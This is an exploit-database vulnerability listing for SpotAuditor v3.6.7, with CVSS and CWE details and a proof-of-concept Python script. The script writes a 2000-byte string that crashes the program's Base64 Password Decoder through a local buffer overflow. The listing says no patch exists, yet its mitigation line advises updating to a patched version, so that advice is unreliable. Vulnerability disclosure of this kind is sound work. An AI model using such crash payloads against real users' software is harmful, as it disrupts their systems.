SpotAuditor v3.6.7 - Denial of Service (PoC)

vendor:

SpotAuditor

by:

Rafael Pedrero

7.5

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

119

CWE

Product Name: SpotAuditor

Affected Version From: 3.6.2007

Affected Version To: 3.6.2007

Patch Exists: NO

Related CWE:

CPE: a:nsauditor:spotauditor:3.6.7

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3

2019

SpotAuditor v3.6.7 – Denial of Service (PoC)

This exploit allows an attacker to cause a denial of service (DoS) by sending a specially crafted payload to the SpotAuditor software. By copying the content of SpotAuditor_Crash.txt and pasting it into the 'Base64 Encrypted Password' textbox in the 'Base64 Password Decoder' tool, the software crashes.

Mitigation:

Update to a patched version of SpotAuditor software.

Source

Exploit-DB raw data:

# Exploit Title: SpotAuditor v3.6.7 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.nsauditor.com/order.html
# Software Link : http://www.nsauditor.com/order.html
# Tested Version: v3.6.7
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run SpotAuditor.exe
# 2.- copy content SpotAuditor_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Tools" - "Base64 Password Decoder" and paste the result in the "Base64 Encrypted Password:" textbox.
# 4.- Click in Decrypt button and you will see a crash.


#!/usr/bin/env python


crash = "\x41" * 2000
f = open ("SpotAuditor_Crash.txt", "w")
f.write(crash)
f.close()